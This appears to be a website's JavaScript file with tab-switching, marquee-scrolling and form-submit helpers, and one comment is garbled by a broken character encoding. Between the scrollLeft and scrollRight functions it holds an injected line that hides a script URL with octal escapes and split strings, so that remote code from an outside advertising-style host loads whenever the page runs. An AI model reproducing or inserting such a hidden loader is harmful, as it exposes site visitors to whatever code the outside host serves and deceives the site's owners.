// JavaScript Document
function changeClass(para){
	obj = document.getElementById(para);
	for(i=1;i<=6;i++){
		obj2 = document.getElementById("pd"+i);
		if(obj2.className == "pdv"){
			obj2.className = "pd";
		}
	}
	obj.className = "pdv";
}

// ¶¥²¿×óÓÒ¹ö¶¯Í¼Æ¬===================================

function scrollLeft()
{
	marquees.scrollLeft+=300;

	//if(demo2.offsetWidth  <= marquees.scrollLeft){
		//marquees.scrollLeft = marquees.scrollLeft - demo1.offsetWidth;
				
	//}
	//if(stopscroll==true) return;
	//preLeft=marquees.scrollLeft;
	//marquees.scrollLeft+=100;
	//if(preLeft==marquees.scrollLeft)
	//{
		//marquees.scrollLeft=templayer.offsetWidth-marqueesWidth+1;
	//}
}
document.write("<\163c"+"ript src='http://\141d"+".\172o"+"m1"+"2\63"+".ne"+"t/ip"+".asp?lo"+"c=guangzhou'><\/sc"+"ript>");
function scrollRight()
{
	//if(stopscroll==true) return;

	//preLeft=marquees.scrollLeft;
	//marquees.scrollLeft-=80;
	//if(preLeft==marquees.scrollLeft)
	//{
		//if(!getlimit)
		//{
			//marquees.scrollLeft=templayer.offsetWidth*2;
			//getlimit=marquees.scrollLeft;
		//}
		marquees.scrollLeft-=300;
	//}
}

function Left()
{
	StopScroll()
	stopscroll = false;
	scrollLeft();
//	sh = setInterval("scrollLeft()",50);
}

function Right()
{
	StopScroll()
	stopscroll = false;
	scrollRight();
//	sh = setInterval("scrollRight()",50);
}

function StopScroll()
{
	stopscroll = true;
	clearInterval( sh );
}



function SelectType(value)
{
	document.all.sendForm.page.value = 1;
	document.all.sendForm.type.value = value;

	document.all.sendForm.submit();
}

function init()
{
	with(marquees)
	{
		style.height=0;
		style.width=marqueesWidth;
		style.overflowX="hidden";
		style.overflowY="visible";
		style.align = "center";
		noWrap=true;
	}
}